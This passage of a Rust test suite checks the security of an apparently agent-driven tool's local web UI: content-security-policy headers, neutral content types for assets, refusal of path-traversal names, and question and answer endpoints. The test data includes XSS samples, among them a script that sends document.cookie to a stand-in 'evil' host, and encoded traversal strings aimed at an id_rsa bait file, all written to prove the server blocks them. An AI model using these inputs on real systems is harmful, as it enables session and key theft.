7108 "land".to_owned(),
7109 "merge?".to_owned(),
7110 String::new(),
7111 Vec::new(),
7112 );
7113 assert_eq!(holder_of(&m, None), Some("nobody"));
7114 assert_eq!(
7115 holder_of(&m, Some(&fresh)),
7116 Some("nobody"),
7117 "a lease with no deputy is not a listener"
7118 );
7119 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7120 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7121 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7122 assert_eq!(holder_of(&m, None), Some("nobody"));
7123 }
7124
7125 fn stub_config() -> Config {
7126 Config {
7129 agents: vec![crate::config::AgentSpec {
7130 id: "stub".to_owned(),
7131 kind: AgentKind::Command,
7132 model: None,
7133 command: vec!["true".to_owned()],
7134 extra_args: Vec::new(),
7135 env: Default::default(),
7136 prompt_delivery: None,
7137 }],
7138 ..Config::default()
7139 }
7140 }
7141
7142 fn plain_question(seat: &str) -> Question {
7143 Question::new(
7144 String::new(),
7145 "n".to_owned(),
7146 seat.to_owned(),
7147 "s".to_owned(),
7148 String::new(),
7149 Vec::new(),
7150 )
7151 }
7152
7153 #[test]
7154 fn deputies_enabled_follows_the_config() {
7155 let on = stub_config();
7156 assert!(crate::deputy::can_start(Some(&on), ""));
7157 assert!(crate::deputy::can_start(Some(&on), "stub"));
7158 let mut off = on.clone();
7159 off.daemon.max_deputies = 0;
7160 assert!(!crate::deputy::can_start(Some(&off), ""));
7161 let mut empty = on;
7162 empty.agents.clear();
7163 assert!(!crate::deputy::can_start(Some(&empty), ""));
7164 assert!(!crate::deputy::can_start(None, ""));
7165 }
7166
7167 #[test]
7168 fn question_views_load_the_config_once() {
7169 let dir = TempDir::new().unwrap();
7170 let store = ask::Questions::at(dir.path().to_path_buf());
7171 let mut with_deputy = plain_question("b");
7172 with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
7173 let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
7174
7175 let calls = std::cell::Cell::new(0usize);
7176 let views = question_views(qs.clone(), &store, || {
7177 calls.set(calls.get() + 1);
7178 Some(stub_config())
7179 });
7180 assert_eq!(calls.get(), 1);
7181 assert_eq!(views.len(), 3);
7182 for (v, q) in views.iter().zip(&qs) {
7183 assert_eq!(
7184 v.deputies_enabled,
7185 crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
7186 );
7187 }
7188
7189 let views = question_views(qs, &store, || None);
7190 assert!(views.iter().all(|v| !v.deputies_enabled));
7191
7192 let calls = std::cell::Cell::new(0usize);
7193 let views = question_views(Vec::new(), &store, || {
7194 calls.set(calls.get() + 1);
7195 None
7196 });
7197 assert!(views.is_empty());
7198 assert_eq!(calls.get(), 0);
7199 }
7200
7201 use pretty_assertions::assert_eq;
7202 use serde_json::Value;
7203 use tempfile::TempDir;
7204 use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
7205
7206 use super::*;
7207 use crate::config::Config;
7208 use crate::queue::Source;
7209
7210 const SETTLE_STEPS: usize = 3_000;
7221
7222 struct Fixture {
7228 home: TempDir,
7229 addr: SocketAddr,
7230 }
7231
7232 impl Fixture {
7233 async fn start() -> Self {
7234 Self::with_loop(launch_idle).await
7235 }
7236
7237 async fn with_loop(launch: Launch) -> Self {
7239 let home = TempDir::new().expect("temp home");
7240 let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
7241 Self { home, addr }
7242 }
7243
7244 async fn with_repo(repo: PathBuf) -> Self {
7248 let home = TempDir::new().expect("temp home");
7249 let addr = Self::serve(home.path(), repo, launch_idle, None).await;
7250 Self { home, addr }
7251 }
7252
7253 async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
7256 let home = TempDir::new().expect("temp home");
7257 let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
7258 Self { home, addr }
7259 }
7260
7261 async fn serve(
7262 home: &FsPath,
7263 repo: PathBuf,
7264 launch: Launch,
7265 machine: Option<PathBuf>,
7266 ) -> SocketAddr {
7267 let queue = Queue::at(home.join("queue"));
7268 let runs = home.join("runs");
7269 std::fs::create_dir_all(&runs).expect("runs dir");
7270 let worktrees = home.join("wt").join("magi");
7271 std::fs::create_dir_all(&worktrees).expect("worktrees dir");
7272 let ui = Ui::new(
7273 queue,
7274 Questions::at(home.join("questions")),
7275 Talks::at(home.join("talks")),
7276 runs,
7277 home.to_path_buf(),
7278 repo,
7279 )
7280 .with_worktrees_root(worktrees)
7281 .with_machine_config(machine)
7282 .with_launch(launch);
7283 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
7284 .await
7285 .expect("bind loopback");
7286 let addr = listener.local_addr().expect("local addr");
7287 tokio::spawn(async move {
7288 let _ = axum::serve(listener, ui.router()).await;
7289 });
7290 addr
7291 }
7292
7293 fn queue(&self) -> Queue {
7294 Queue::at(self.home.path().join("queue"))
7295 }
7296
7297 fn questions(&self) -> Questions {
7298 Questions::at(self.home.path().join("questions"))
7299 }
7300
7301 fn talks(&self) -> Talks {
7302 Talks::at(self.home.path().join("talks"))
7303 }
7304
7305 fn runs(&self) -> PathBuf {
7306 self.home.path().join("runs")
7307 }
7308
7309 async fn get(&self, path: &str) -> Res {
7310 request(self.addr, "GET", path, None).await
7311 }
7312
7313 async fn head(&self, path: &str) -> Res {
7318 request(self.addr, "HEAD", path, None).await
7319 }
7320
7321 async fn post(&self, path: &str, body: Option<&str>) -> Res {
7322 request(self.addr, "POST", path, body).await
7323 }
7324
7325 async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
7326 request_with(self.addr, "GET", path, None, extra).await
7327 }
7328
7329 async fn delete(&self, path: &str) -> Res {
7330 request(self.addr, "DELETE", path, None).await
7331 }
7332
7333 async fn put(&self, path: &str, body: &str) -> Res {
7334 request(self.addr, "PUT", path, Some(body)).await
7335 }
7336
7337 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
7339 request_bytes(self.addr, path, headers, body).await
7340 }
7341 }
7342
7343 struct Res {
7344 status: u16,
7345 headers: String,
7346 head: String,
7351 body: String,
7352 bytes: Vec<u8>,
7356 }
7357
7358 impl Res {
7359 fn json(&self) -> Value {
7360 serde_json::from_str(&self.body)
7361 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
7362 }
7363
7364 fn header(&self, name: &str) -> Option<&str> {
7366 self.head.lines().find_map(|line| {
7367 let (key, value) = line.split_once(':')?;
7368 key.trim()
7369 .eq_ignore_ascii_case(name)
7370 .then(|| value.trim_start().trim_end_matches('\r'))
7371 })
7372 }
7373 }
7374
7375 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
7378 request_with(addr, method, path, body, &[]).await
7379 }
7380
7381 async fn request_with(
7385 addr: SocketAddr,
7386 method: &str,
7387 path: &str,
7388 body: Option<&str>,
7389 extra: &[(&str, &str)],
7390 ) -> Res {
7391 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7392 for (name, value) in extra {
7393 head.push_str(&format!("{name}: {value}\r\n"));
7394 }
7395 if let Some(body) = body {
7396 head.push_str("Content-Type: application/json\r\n");
7397 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
7398 }
7399 head.push_str("\r\n");
7400 if let Some(body) = body {
7401 head.push_str(body);
7402 }
7403 let mut socket = tokio::net::TcpStream::connect(addr)
7404 .await
7405 .expect("connect to the test server");
7406 socket
7407 .write_all(head.as_bytes())
7408 .await
7409 .expect("write request");
7410 let mut raw = Vec::new();
7411 socket.read_to_end(&mut raw).await.expect("read response");
7412 let split = raw
7415 .windows(4)
7416 .position(|w| w == b"\r\n\r\n")
7417 .expect("a header block");
7418 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7419 let bytes = raw[split + 4..].to_vec();
7420 let status = head
7421 .lines()
7422 .next()
7423 .and_then(|line| line.split_whitespace().nth(1))
7424 .and_then(|code| code.parse().ok())
7425 .expect("a status line");
7426 Res {
7427 status,
7428 headers: head.to_lowercase(),
7429 head,
7430 body: String::from_utf8_lossy(&bytes).into_owned(),
7431 bytes,
7432 }
7433 }
7434
7435 async fn request_bytes(
7441 addr: SocketAddr,
7442 path: &str,
7443 headers: &[(&str, &str)],
7444 body: &[u8],
7445 ) -> Res {
7446 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
7447 for (name, value) in headers {
7448 head.push_str(&format!("{name}: {value}\r\n"));
7449 }
7450 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
7451 let mut socket = tokio::net::TcpStream::connect(addr)
7452 .await
7453 .expect("connect to the test server");
7454 socket
7455 .write_all(head.as_bytes())
7456 .await
7457 .expect("write request head");
7458 socket.write_all(body).await.expect("write request body");
7459 let mut raw = Vec::new();
7460 socket.read_to_end(&mut raw).await.expect("read response");
7461 let split = raw
7462 .windows(4)
7463 .position(|w| w == b"\r\n\r\n")
7464 .expect("a header block");
7465 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
7466 let bytes = raw[split + 4..].to_vec();
7467 let status = head
7468 .lines()
7469 .next()
7470 .and_then(|line| line.split_whitespace().nth(1))
7471 .and_then(|code| code.parse().ok())
7472 .expect("a status line");
7473 Res {
7474 status,
7475 headers: head.to_lowercase(),
7476 head,
7477 body: String::from_utf8_lossy(&bytes).into_owned(),
7478 bytes,
7479 }
7480 }
7481
7482 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
7484 let mut state = RunState::new(
7485 PathBuf::from("/repo/magi"),
7486 "main".to_owned(),
7487 "0123456789abcdef".to_owned(),
7488 "Add a web UI\n\nMobile first.".to_owned(),
7489 Config::default(),
7490 );
7491 state.id = id.to_owned();
7492 state.status = status;
7493 let dir = runs.join(id);
7494 std::fs::create_dir_all(&dir).expect("run dir");
7495 std::fs::write(
7496 dir.join("run.json"),
7497 serde_json::to_string_pretty(&state).expect("serialize run"),
7498 )
7499 .expect("write run.json");
7500 }
7501
7502 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
7506 let mut state = RunState::new(
7507 PathBuf::from(repo),
7508 "main".to_owned(),
7509 "0123456789abcdef".to_owned(),
7510 "task".to_owned(),
7511 Config::default(),
7512 );
7513 state.id = id.to_owned();
7514 state.status = status;
7515 let dir = runs.join(id);
7516 std::fs::create_dir_all(&dir).expect("run dir");
7517 std::fs::write(
7518 dir.join("run.json"),
7519 serde_json::to_string_pretty(&state).expect("serialize run"),
7520 )
7521 .expect("write run.json");
7522 }
7523
7524 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
7525 let body = serde_json::json!({
7526 "schema": 1,
7527 "pid": 4242,
7528 "started_at": Timestamp::now().to_string(),
7529 "updated_at": updated_at.to_string(),
7530 "idle": false,
7531 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
7532 "completed": 7,
7533 "polls": 143,
7534 });
7535 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
7536 }
7537
7538 fn launch_idle(
7548 _opts: daemon::Opts,
7549 stop: daemon::Stop,
7550 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7551 Box::pin(async move {
7552 while !stop.stopped() {
7553 tokio::time::sleep(Duration::from_millis(2)).await;
7554 }
7555 Ok(())
7556 })
7557 }
7558
7559 fn launch_broken(
7562 _opts: daemon::Opts,
7563 _stop: daemon::Stop,
7564 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7565 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
7570 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
7571 Box::pin(async move {
7572 Err(anyhow::anyhow!(if first {
7573 "publish the daemon status file: read-only file system"
7574 } else {
7575 "the restarted stand-in failed as well"
7576 }))
7577 })
7578 }
7579
7580 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
7587 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
7588
7589 fn launch_knocking_on_the_way_out(
7596 _opts: daemon::Opts,
7597 stop: daemon::Stop,
7598 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
7599 Box::pin(async move {
7600 while !stop.stopped() {
7601 tokio::time::sleep(Duration::from_millis(2)).await;
7602 }
7603 let addr = PARK_KNOCK
7604 .lock()
7605 .expect("park knock")
7606 .expect("the test set an address");
7607 let heard = request(addr, "GET", "/api/health", None).await.status;
7608 *PARK_HEARD.lock().expect("park heard") = Some(heard);
7609 Ok(())
7610 })
7611 }
7612
7613 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
7622 for _ in 0..SETTLE_STEPS {
7623 let view = fx.get("/api/loop").await.json();
7624 if want(&view) {
7625 return view;
7626 }
7627 tokio::time::sleep(Duration::from_millis(10)).await;
7628 }
7629 panic!(
7630 "the loop never settled: {}",
7631 fx.get("/api/loop").await.json()
7632 );
7633 }
7634
7635 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
7637 let store = fx.questions();
7638 let mut q = Question::new(
7639 "20260902-000000-beef".to_owned(),
7640 "implement".to_owned(),
7641 "impl-A".to_owned(),
7642 summary.to_owned(),
7643 "because it matters".to_owned(),
7644 choices.iter().map(|c| (*c).to_owned()).collect(),
7645 );
7646 store.put(&mut q).expect("put question");
7647 q.id
7648 }
7649
7650 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
7656 let store = fx.questions();
7657 let mut q = Question::new(
7658 "20260902-000000-beef".to_owned(),
7659 "land".to_owned(),
7660 "fix".to_owned(),
7661 "Merge this?".to_owned(),
7662 "the diff is in the panel".to_owned(),
7663 vec!["merge".to_owned(), "hold".to_owned()],
7664 );
7665 let staging = fx.home.path().join("staging");
7668 std::fs::create_dir_all(&staging).expect("staging dir");
7669 let sources: Vec<PathBuf> = assets
7670 .iter()
7671 .map(|(name, bytes)| {
7672 let path = staging.join(name);
7673 std::fs::write(&path, bytes).expect("write staged asset");
7674 path
7675 })
7676 .collect();
7677 store
7678 .put_panel(&mut q, html, &sources)
7679 .expect("write the panel");
7680 store.put(&mut q).expect("put question");
7681 q.id
7682 }
7683
7684 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
7693 seed_talk_at(&fx.talks(), id, status)
7694 }
7695
7696 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
7697 std::fs::create_dir_all(store.root()).expect("talks dir");
7698 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
7699 .expect("serialize a seat");
7700 let body = serde_json::json!({
7701 "schema": 1,
7702 "id": id,
7703 "repo": "/repo/magi",
7704 "agent": "mock",
7705 "status": status,
7706 "turns": [],
7707 "created_at": Timestamp::now().to_string(),
7708 "updated_at": Timestamp::now().to_string(),
7709 "seat": seat,
7710 });
7711 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
7712 store.get(id).expect("the seeded talk has to be readable");
7713 id.to_owned()
7714 }
7715
7716 #[tokio::test]
7717 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
7718 let fx = Fixture::start().await;
7719 let id = panel(
7720 &fx,
7721 "<h1>Merge?</h1><img src=\"diff.svg\">",
7722 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
7723 );
7724
7725 for path in [
7726 format!("/api/questions/{id}/panel"),
7727 format!("/api/questions/{id}/asset/diff.svg"),
7728 ] {
7729 let res = fx.get(&path).await;
7730 assert_eq!(res.status, 200, "{path}: {}", res.body);
7731 assert_eq!(
7737 res.header("content-security-policy"),
7738 Some(
7739 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
7740 font-src data:; base-uri 'none'; form-action 'none'; \
7741 frame-ancestors 'self'"
7742 ),
7743 "{path} is the only thing between a hostile panel and the tailnet"
7744 );
7745 assert_eq!(
7746 res.header("x-content-type-options"),
7747 Some("nosniff"),
7748 "{path}: a browser must not re-decide the type we sent"
7749 );
7750 assert_eq!(
7751 res.header("referrer-policy"),
7752 Some("no-referrer"),
7753 "{path}: a panel must not leak the question id off the machine"
7754 );
7755
7756 let pre = fx.head(&path).await;
7761 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
7762 assert_eq!(
7763 pre.header("content-security-policy"),
7764 res.header("content-security-policy"),
7765 "{path}: the preflight carries the same policy"
7766 );
7767 assert_eq!(
7768 pre.header("content-type"),
7769 res.header("content-type"),
7770 "{path}: the preflight carries the same type"
7771 );
7772 }
7773 }
7774
7775 #[tokio::test]
7776 async fn a_panel_reaches_the_browser_byte_for_byte() {
7777 let fx = Fixture::start().await;
7778 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
7783 let id = panel(&fx, html, &[]);
7784
7785 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
7786
7787 assert_eq!(res.status, 200);
7788 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
7789 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
7790 assert_eq!(
7791 res.header("content-disposition"),
7792 None,
7793 "the panel itself is rendered in the frame, not downloaded"
7794 );
7795 }
7796
7797 #[tokio::test]
7798 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
7799 let fx = Fixture::start().await;
7800 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
7801 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
7802 let id = panel(
7803 &fx,
7804 "<img src=\"diff.svg\"><img src=\"shot.png\">",
7805 &[("diff.svg", svg), ("shot.png", png)],
7806 );
7807
7808 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
7809 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
7810
7811 assert_eq!(as_svg.status, 200);
7812 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
7813 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
7818
7819 assert_eq!(as_png.status, 200);
7820 assert_eq!(as_png.header("content-type"), Some("image/png"));
7821 assert_eq!(
7822 as_png.header("content-disposition"),
7823 None,
7824 "a raster image has no execution surface, so tapping it still shows it"
7825 );
7826 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
7827 }
7828
7829 #[tokio::test]
7830 async fn an_html_asset_is_never_served_as_html() {
7831 let fx = Fixture::start().await;
7832 let id = panel(
7833 &fx,
7834 "<p>see the notes</p>",
7835 &[
7836 (
7837 "notes.html",
7838 b"<script>fetch('http://evil/'+document.cookie)</script>",
7839 ),
7840 ("hook.js", b"fetch('http://evil/')"),
7841 ("data.json", b"{}"),
7842 ("HEADLINE.TXT", b"plain"),
7843 ],
7844 );
7845
7846 for name in ["notes.html", "hook.js", "data.json"] {
7847 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7848 assert_eq!(res.status, 200, "{name}: {}", res.body);
7849 assert_eq!(
7854 res.header("content-type"),
7855 Some("application/octet-stream"),
7856 "{name} must not be a type the browser will execute or render"
7857 );
7858 }
7859 let txt = fx
7862 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7863 .await;
7864 assert_eq!(
7865 txt.header("content-type"),
7866 Some("text/plain; charset=utf-8")
7867 );
7868 }
7869
7870 #[tokio::test]
7871 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7872 let fx = Fixture::start().await;
7873 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7874 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7878
7879 for encoded in [
7886 "%2e%2e%2fid_rsa",
7887 "..%2fid_rsa",
7888 "..%5cid_rsa",
7889 "%2e%2e%5cid_rsa",
7890 "diff%00.svg",
7891 "..",
7892 ".hidden",
7893 "%2e%2e%2f%2e%2e%2fid_rsa",
7894 ] {
7895 let res = fx
7896 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7897 .await;
7898 assert_eq!(
7899 res.status, 400,
7900 "`{encoded}` has to be refused by name, not looked up: {}",
7901 res.body
7902 );
7903 assert!(res.json()["error"].is_string(), "{}", res.body);
7904 }
7905
7906 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7912 let res = fx
7913 .get(&format!("/api/questions/{id}/asset/{literal}"))
7914 .await;
7915 assert_eq!(
7916 res.status, 404,
7917 "`{literal}` must not match the asset route at all: {}",
7918 res.body
7919 );
7920 }
7921 }
7922
7923 #[tokio::test]
7924 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7925 let fx = Fixture::start().await;
7926 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7927 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7928
7929 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7933 assert_eq!(none.status, 404, "{}", none.body);
7934 assert!(none.json()["error"].is_string(), "{}", none.body);
7935 assert_eq!(
7936 fx.head(&format!("/api/questions/{plain}/panel"))
7937 .await
7938 .status,
7939 404,
7940 "the preflight is the only way the client can learn this"
7941 );
7942
7943 let missing = fx
7945 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7946 .await;
7947 assert_eq!(missing.status, 404, "{}", missing.body);
7948 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7949
7950 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7952 assert_eq!(
7953 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7954 404
7955 );
7956 }
7957
7958 #[tokio::test]
7959 async fn a_run_with_an_open_question_reads_as_waiting() {
7960 let fx = Fixture::start().await;
7961 let run = "20260902-000000-beef".to_owned();
7962 write_run(&fx.runs(), &run, RunStatus::Implementing);
7963
7964 let before = fx.get("/api/runs").await.json();
7965 assert_eq!(before[0]["waiting"], false, "{before}");
7966
7967 let store = fx.questions();
7968 let mut q = Question::new(
7969 run.clone(),
7970 "implement".to_owned(),
7971 "impl-A".to_owned(),
7972 "Which backend?".to_owned(),
7973 String::new(),
7974 vec!["SQLite".to_owned()],
7975 );
7976 store.put(&mut q).expect("put");
7977
7978 let during = fx.get("/api/runs").await.json();
7979 assert_eq!(during[0]["waiting"], true, "{during}");
7980
7981 q.answer(Answer::Choice("SQLite".to_owned()))
7984 .expect("answer");
7985 store.put(&mut q).expect("put");
7986 let after = fx.get("/api/runs").await.json();
7987 assert_eq!(after[0]["waiting"], false, "{after}");
7988 }
7989
7990 #[tokio::test]
7991 async fn an_open_question_is_listed_and_counted_by_health() {
7992 let fx = Fixture::start().await;
7993 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7994
7995 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7996 let listed = fx.get("/api/questions").await.json();
7997 assert_eq!(listed.as_array().expect("array").len(), 1);
7998 assert_eq!(listed[0]["id"], id);
7999 assert_eq!(listed[0]["status"], "open");
8000 assert_eq!(listed[0]["choices"][1], "Redis");
8001 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8004 }
8005
8006 #[tokio::test]
8007 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
8008 let fx = Fixture::start().await;
8009 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8010 let path = format!("/api/questions/{id}/answer");
8011
8012 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
8013 assert_eq!(res.status, 200, "{}", res.body);
8014 let body = res.json();
8015 assert_eq!(body["status"], "answered");
8016 assert_eq!(body["answer"]["choice"], "Redis");
8017
8018 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
8022 assert_eq!(again.status, 409, "{}", again.body);
8023 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
8024 }
8025
8026 #[tokio::test]
8027 async fn saying_something_appends_a_turn_without_answering() {
8028 let fx = Fixture::start().await;
8029 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8030 let path = format!("/api/questions/{id}/say");
8031
8032 let res = fx
8033 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
8034 .await;
8035 assert_eq!(res.status, 200, "{}", res.body);
8036 let body = res.json();
8037 assert_eq!(body["status"], "open", "talking back is not a decision");
8038 assert_eq!(body["answer"], Value::Null);
8039 assert_eq!(body["thread"][0]["who"], "operator");
8040 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
8041 assert_eq!(body["waiting_on_agent"], true);
8042 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8044 }
8045
8046 #[tokio::test]
8047 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
8048 let fx = Fixture::start().await;
8049 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8050
8051 let list = fx.get("/api/questions").await.json();
8052 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
8053
8054 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
8055 assert_eq!(res.status, 409, "{}", res.body);
8056 let q = fx.questions().get(&id).unwrap();
8057 assert!(q.status.open());
8058 assert!(q.consult.is_none());
8059 }
8060
8061 #[tokio::test]
8062 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
8063 let fx = Fixture::start().await;
8064 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8065 let cfg = Config {
8066 agents: vec![crate::config::AgentSpec {
8067 id: "mock".to_owned(),
8068 kind: crate::config::AgentKind::Command,
8069 model: None,
8070 command: vec!["true".to_owned()],
8071 extra_args: Vec::new(),
8072 env: Default::default(),
8073 prompt_delivery: None,
8074 }],
8075 ..Config::default()
8076 };
8077 let talk = crate::talk::begin(
8078 &fx.talks(),
8079 &cfg,
8080 fx.home.path().to_path_buf(),
8081 Some("mock"),
8082 )
8083 .unwrap();
8084 let mut task = Task::new(
8085 "t".to_owned(),
8086 "Do it".to_owned(),
8087 PathBuf::from("/repo/magi"),
8088 Source::Agent {
8089 run: talk.id.clone(),
8090 node: crate::queue::CHAT_NODE.to_owned(),
8091 },
8092 );
8093 task.start("20260902-000000-beef".to_owned());
8094 fx.queue().put(&mut task).unwrap();
8095
8096 let list = fx.get("/api/questions").await.json();
8097 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
8098 assert_eq!(
8099 list[0]["choices"],
8100 serde_json::json!(["SQLite", "Redis"]),
8101 "the hand-over is never a choice"
8102 );
8103 let _ = id;
8104 }
8105
8106 #[tokio::test]
8107 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
8108 let fx = Fixture::start().await;
8109 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8110 let cfg = Config {
8111 agents: vec![crate::config::AgentSpec {
8112 id: "mock".to_owned(),
8113 kind: crate::config::AgentKind::Command,
8114 model: None,
8115 command: vec!["true".to_owned()],
8116 extra_args: Vec::new(),
8117 env: Default::default(),
8118 prompt_delivery: None,
8119 }],
8120 ..Config::default()
8121 };
8122 let repo = fx.home.path().join("chat-repo");
8124 std::fs::create_dir_all(&repo).unwrap();
8125 let toml = repo.join("magi.toml");
8126 std::fs::write(&toml, "this is = = not toml").unwrap();
8127 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
8128 let mut task = Task::new(
8129 "t".to_owned(),
8130 "Do it".to_owned(),
8131 PathBuf::from("/repo/magi"),
8132 Source::Agent {
8133 run: talk.id.clone(),
8134 node: crate::queue::CHAT_NODE.to_owned(),
8135 },
8136 );
8137 task.start("20260902-000000-beef".to_owned());
8138 fx.queue().put(&mut task).unwrap();
8139
8140 let path = format!("/api/questions/{id}/consult");
8141 let res = fx.post(&path, None).await;
8142 assert!(res.status >= 400, "{}", res.body);
8143 assert!(fx.questions().get(&id).unwrap().consult.is_none());
8144 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
8145
8146 std::fs::write(&toml, "").unwrap();
8147 let res = fx.post(&path, None).await;
8148 assert_eq!(res.status, 202, "{}", res.body);
8149 assert!(fx.questions().get(&id).unwrap().consult.is_some());
8150 }
8151
8152 #[tokio::test]
8153 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
8154 let fx = Fixture::start().await;
8155 let store = fx.questions();
8156 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8157 assert_eq!(
8158 fx.get("/api/health").await.json()["questions_needs_owner"],
8159 1
8160 );
8161
8162 let res = fx
8168 .post(
8169 &format!("/api/questions/{id}/say"),
8170 Some(r#"{"body":"why not Postgres?"}"#),
8171 )
8172 .await;
8173 assert_eq!(res.status, 200, "{}", res.body);
8174 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8175 assert_eq!(
8176 fx.get("/api/health").await.json()["questions_needs_owner"],
8177 0,
8178 "waiting on the agent is not waiting on the owner"
8179 );
8180
8181 let mut q = store.get(&id).expect("get");
8185 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8186 .expect("reply");
8187 store.put(&mut q).expect("put");
8188 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8189 assert_eq!(
8190 fx.get("/api/health").await.json()["questions_needs_owner"],
8191 1,
8192 "the agent's reply is what should light the banner back up"
8193 );
8194 }
8195
8196 #[tokio::test]
8197 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8198 let fx = Fixture::start().await;
8199 let store = fx.questions();
8200
8201 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8202 let res = fx
8203 .post(
8204 &format!("/api/questions/{empty_id}/say"),
8205 Some(r#"{"body":" "}"#),
8206 )
8207 .await;
8208 assert_eq!(res.status, 400, "{}", res.body);
8209
